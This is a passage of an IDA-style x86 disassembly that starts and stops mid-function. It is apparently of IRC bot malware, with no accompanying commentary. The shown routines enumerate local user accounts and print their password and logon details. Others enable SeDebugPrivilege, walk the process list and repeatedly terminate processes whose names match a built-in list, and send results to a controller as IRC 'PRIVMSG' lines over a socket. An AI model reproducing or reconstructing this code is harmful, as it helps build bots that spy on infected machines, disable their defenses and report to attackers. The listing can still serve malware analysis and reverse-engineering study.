		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_409C75
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_419F4C
; ---------------------------------------------------------------------------

loc_419F20:				; CODE XREF: sub_419B93+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_45077C
		push	eax
		call	sub_41EA60
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_409C75
		add	esp, 20h

loc_419F4C:				; CODE XREF: sub_419B93+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_419F5B
		push	[ebp+var_4]
		call	dword_4E3118

loc_419F5B:				; CODE XREF: sub_419B93+40j
					; sub_419B93+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_419B93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F61	proc near		; CODE XREF: sub_401C87+47A6p

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_4198C8
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 18h

loc_419FA0:				; CODE XREF: sub_419F61+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4E2FE8
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_41A001
		cmp	eax, 0EAh
		jz	short loc_41A001
		push	eax
		push	eax
		call	sub_41A0D7
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_4507C4
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 24h
		jmp	short loc_41A072
; ---------------------------------------------------------------------------

loc_41A001:				; CODE XREF: sub_419F61+62j
					; sub_419F61+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41A085
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_41A072

loc_41A00F:				; CODE XREF: sub_419F61+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_41A04E
		push	dword ptr [edi]
		push	offset aS_29	; "  %S"
		push	eax
		call	sub_41EA60
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41A00F
		jmp	short loc_41A072
; ---------------------------------------------------------------------------

loc_41A04E:				; CODE XREF: sub_419F61+B6j
		push	offset unk_4507F0
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 1Ch

loc_41A072:				; CODE XREF: sub_419F61+9Ej
					; sub_419F61+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_41A085
		push	edi
		call	dword_4E3118
		xor	edi, edi
		mov	[ebp+var_4], edi

loc_41A085:				; CODE XREF: sub_419F61+A5j
					; sub_419F61+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_419FA0
		cmp	edi, esi
		jz	short loc_41A09D
		push	edi
		call	dword_4E3118

loc_41A09D:				; CODE XREF: sub_419F61+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_41EA60
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_419F61	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A0D7	proc near		; CODE XREF: sub_419737+41p
					; sub_41992C+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_41A189
		jz	loc_41A182
		cmp	eax, 7Bh
		ja	short loc_41A14E
		jz	short loc_41A144
		cmp	eax, 5
		jz	short loc_41A13A
		cmp	eax, 8
		jz	short loc_41A130
		cmp	eax, 32h
		jz	short loc_41A126
		cmp	eax, 35h
		jz	short loc_41A11C
		cmp	eax, 57h
		jnz	loc_41A1D8
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A11C:				; CODE XREF: sub_41A0D7+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A126:				; CODE XREF: sub_41A0D7+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A130:				; CODE XREF: sub_41A0D7+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A13A:				; CODE XREF: sub_41A0D7+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A144:				; CODE XREF: sub_41A0D7+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A14E:				; CODE XREF: sub_41A0D7+1Aj
		sub	eax, 7Ch
		jz	short loc_41A17B
		sub	eax, 7C8h
		jz	short loc_41A174
		dec	eax
		jz	short loc_41A16A
		dec	eax
		jnz	short loc_41A1D8
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A16A:				; CODE XREF: sub_41A0D7+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A174:				; CODE XREF: sub_41A0D7+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A17B:				; CODE XREF: sub_41A0D7+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A182:				; CODE XREF: sub_41A0D7+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A189:				; CODE XREF: sub_41A0D7+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_41A1C2
		jz	short loc_41A1BB
		sub	eax, 8ADh
		jz	short loc_41A1ED
		dec	eax
		dec	eax
		jz	short loc_41A1B4
		dec	eax
		jz	short loc_41A1AD
		dec	eax
		dec	eax
		jnz	short loc_41A1D8
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1AD:				; CODE XREF: sub_41A0D7+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1B4:				; CODE XREF: sub_41A0D7+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1BB:				; CODE XREF: sub_41A0D7+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1C2:				; CODE XREF: sub_41A0D7+B9j
		sub	eax, 8CAh
		jz	short loc_41A1F4
		sub	eax, 17h
		jz	short loc_41A1ED
		sub	eax, 25h
		jz	short loc_41A1E6
		sub	eax, 29h
		jz	short loc_41A1DF

loc_41A1D8:				; CODE XREF: sub_41A0D7+35j
					; sub_41A0D7+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1DF:				; CODE XREF: sub_41A0D7+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1E6:				; CODE XREF: sub_41A0D7+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1ED:				; CODE XREF: sub_41A0D7+C2j
					; sub_41A0D7+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_41A1F9
; ---------------------------------------------------------------------------

loc_41A1F4:				; CODE XREF: sub_41A0D7+F0j
		push	offset aNetworkConnect ; "Network connection not found."

loc_41A1F9:				; CODE XREF: sub_41A0D7+40j
					; sub_41A0D7+4Aj ...
		push	offset dword_4F2CB8
		call	sub_41EA60
		pop	ecx
		mov	eax, offset dword_4F2CB8
		pop	ecx
		retn
sub_41A0D7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A20B	proc near		; CODE XREF: sub_401C87+47ECp

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_421E90
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4F5394	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_421E90
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_421E60
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4E3098
		test	eax, eax
		jnz	short loc_41A29B
		mov	esi, offset dword_4F2AB0
		push	offset unk_450AF8
		push	esi
		call	sub_41EA60
		pop	ecx
		pop	ecx
		jmp	short loc_41A2C4
; ---------------------------------------------------------------------------

loc_41A29B:				; CODE XREF: sub_41A20B+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_41A0D7
		pop	ecx
		mov	esi, offset dword_4F2AB0
		push	eax
		push	offset dword_450B20
		push	esi
		call	sub_41EA60
		add	esp, 14h

loc_41A2C4:				; CODE XREF: sub_41A20B+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A20B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2C9	proc near		; CODE XREF: sub_41786C+45p
					; sub_41786C+166p ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4F53CC	; GetCurrentProcess
		push	eax
		call	dword_4E306C	; OpenProcessToken
		test	eax, eax
		jnz	short loc_41A2E8
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A2E8:				; CODE XREF: sub_41A2C9+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4E3044	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_41A326
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_41A30F
		or	[ebp+var_8], 2
		jmp	short loc_41A313
; ---------------------------------------------------------------------------

loc_41A30F:				; CODE XREF: sub_41A2C9+3Ej
		and	[ebp+var_8], 0FFFFFFFDh

loc_41A313:				; CODE XREF: sub_41A2C9+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4E30F4	; AdjustTokenPrivileges
		mov	esi, eax

loc_41A326:				; CODE XREF: sub_41A2C9+32j
		push	[ebp+var_4]
		call	dword_4F533C	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A2C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A334	proc near		; CODE XREF: sub_401C87+79ABp
					; sub_41A574+74p ...

var_554		= byte ptr -554h
var_354		= dword	ptr -354h
var_350		= byte ptr -350h
var_234		= byte ptr -234h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_128		= dword	ptr -128h
var_10C		= byte ptr -10Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 554h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4E30A8, ebx
		lea	edi, [ebp+var_12C]
		mov	[ebp+var_130], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_350]
		mov	[ebp+var_354], ebx
		rep stosd
		jz	loc_41A544
		cmp	dword_4E308C, ebx
		jz	loc_41A544
		cmp	dword_4E2F9C, ebx
		jz	loc_41A544
		push	1
		push	offset aSedebugprivi_1 ; "SeDebugPrivilege"
		call	sub_41A2C9
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4E30A8	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_41A537
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4E308C	; Process32First
		mov	esi, dword_4F533C
		test	eax, eax
		jz	loc_41A532
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4E2F9C	; Process32Next
		test	eax, eax
		jz	loc_41A532
		mov	edi, dword_4F5358
		mov	ebx, 1F0FFFh

loc_41A3F8:				; CODE XREF: sub_41A334+1F6j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_41A45C
		mov	[ebp+var_4], eax

loc_41A402:				; CODE XREF: sub_41A334+F0j
		mov	eax, [ebp+var_4]
		push	off_450CA0[eax]
		lea	eax, [ebp+var_10C]
		push	eax
		call	dword_4F5458	; lstrcmpi
		test	eax, eax
		jz	short loc_41A42B
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 60h
		jb	short loc_41A402
		jmp	loc_41A518
; ---------------------------------------------------------------------------

loc_41A42B:				; CODE XREF: sub_41A334+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41A518
		push	0
		push	eax
		call	dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	loc_41A518

loc_41A452:				; CODE XREF: sub_41A334+1CAj
		push	[ebp+var_4]
		call	esi	; CloseHandle
		jmp	loc_41A518
; ---------------------------------------------------------------------------

loc_41A45C:				; CODE XREF: sub_41A334+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41A503
		cmp	[ebp+arg_4], eax
		jz	loc_41A518
		push	[ebp+var_128]
		push	8
		call	dword_4E30A8	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41A4C3
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4E2F48	; Module32First
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_41A4B5
		lea	eax, [ebp+var_234]
		push	eax
		push	offset aSD	; " %s (%d)"
		jmp	short loc_41A4D5
; ---------------------------------------------------------------------------

loc_41A4B5:				; CODE XREF: sub_41A334+171j
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_0	; " %s (%d)"
		jmp	short loc_41A4D5
; ---------------------------------------------------------------------------

loc_41A4C3:				; CODE XREF: sub_41A334+159j
		push	[ebp+var_128]
		lea	eax, [ebp+var_10C]
		push	eax
		push	offset aSD_1	; " %s (%d)"

loc_41A4D5:				; CODE XREF: sub_41A334+17Fj
					; sub_41A334+18Dj
		lea	eax, [ebp+var_554]
		push	eax
		call	sub_41EA60
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409C75
		add	esp, 14h
		jmp	loc_41A452
; ---------------------------------------------------------------------------

loc_41A503:				; CODE XREF: sub_41A334+12Bj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A54B

loc_41A518:				; CODE XREF: sub_41A334+F2j
					; sub_41A334+107j ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4E2F9C	; Process32Next
		test	eax, eax
		jnz	loc_41A3F8
		xor	ebx, ebx

loc_41A532:				; CODE XREF: sub_41A334+9Dj
					; sub_41A334+B3j
		push	[ebp+var_8]
		call	esi	; CloseHandle

loc_41A537:				; CODE XREF: sub_41A334+77j
		push	ebx
		push	offset aSedebugprivi_2 ; "SeDebugPrivilege"
		call	sub_41A2C9
		pop	ecx
		pop	ecx

loc_41A544:				; CODE XREF: sub_41A334+3Aj
					; sub_41A334+46j ...
		xor	eax, eax

loc_41A546:				; CODE XREF: sub_41A334+23Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A54B:				; CODE XREF: sub_41A334+1E2j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi	; OpenProcess
		push	[ebp+var_8]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A56F
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_41A544
; ---------------------------------------------------------------------------

loc_41A56F:				; CODE XREF: sub_41A334+234j
		xor	eax, eax
		inc	eax
		jmp	short loc_41A546
sub_41A334	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A574	proc near		; DATA XREF: sub_401C87+2692o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_450D4C
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41EA60
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41A5D3
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409C75
		add	esp, 14h

loc_41A5D3:				; CODE XREF: sub_41A574+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_41A334
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_41A601
		push	offset unk_450D6C
		jmp	short loc_41A606
; ---------------------------------------------------------------------------

loc_41A601:				; CODE XREF: sub_41A574+84j
		push	offset unk_450D90

loc_41A606:				; CODE XREF: sub_41A574+8Bj
		push	eax
		call	sub_41EA60
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_41A633
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409C75
		add	esp, 14h

loc_41A633:				; CODE XREF: sub_41A574+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_415A3C
		push	[ebp+var_14]
		call	sub_40B9A7
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F53A0	; ExitThread
		pop	edi
		pop	esi
sub_41A574	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A652	proc near		; CODE XREF: sub_401C87+7949p
					; sub_40B7CC+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_4F5358	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_41A684
		push	0
		push	esi
		call	dword_4F53C4	; TerminateProcess
		test	eax, eax
		jnz	short loc_41A684
		push	esi
		xor	edi, edi
		call	dword_4F533C	; CloseHandle

loc_41A684:				; CODE XREF: sub_41A652+1Aj
					; sub_41A652+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41A652	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41A689	proc near		; DATA XREF: sub_401404+3B8o
		push	esi
		xor	esi, esi

loc_41A68C:				; CODE XREF: sub_41A689+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_41A334
		add	esp, 18h
		push	dword_450B50
		call	dword_4F534C	; Sleep
		jmp	short loc_41A68C
sub_41A689	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A6A9	proc near		; CODE XREF: sub_41A6D9+2Ap
					; sub_41A711+7Ep ...
		mov	eax, dword_4F3324
		push	esi
		mov	esi, dword_4F533C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A6BD
		push	eax
		call	esi	; CloseHandle

loc_41A6BD:				; CODE XREF: sub_41A6A9+Fj
		mov	eax, dword_4F332C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A6CA
		push	eax
		call	esi	; CloseHandle

loc_41A6CA:				; CODE XREF: sub_41A6A9+1Cj
		mov	eax, dword_4F3320
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A6D7
		push	eax
		call	esi	; CloseHandle

loc_41A6D7:				; CODE XREF: sub_41A6A9+29j
		pop	esi
		retn
sub_41A6A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6D9	proc near		; CODE XREF: sub_401C87+7683p
					; sub_4165C7+14Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41BC70
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4F3328
		call	dword_4F53B4	; WriteFile
		test	eax, eax
		jnz	short loc_41A70C
		call	sub_41A6A9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A70C:				; CODE XREF: sub_41A6D9+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_41A6D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A711	proc near		; CODE XREF: sub_41A798+D3p
					; sub_41A798+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4F3368
		push	[ebp+arg_4]
		call	sub_41F7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A754
		push	7D0h
		call	dword_4F534C	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS_2 ; "PRIVMSG %s :%s\r"
		push	eax
		call	sub_41EA60
		add	esp, 10h
		jmp	short loc_41A76B
; ---------------------------------------------------------------------------

loc_41A754:				; CODE XREF: sub_41A711+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_18	; "%s"
		push	eax
		call	sub_41EA60
		add	esp, 0Ch

loc_41A76B:				; CODE XREF: sub_41A711+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41BC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E30D8	; send
		test	eax, eax
		jg	short loc_41A794
		call	sub_41A6A9

loc_41A794:				; CODE XREF: sub_41A711+7Cj
		xor	eax, eax
		leave
		retn
sub_41A711	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A798	proc near		; DATA XREF: sub_41A8ED+174o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
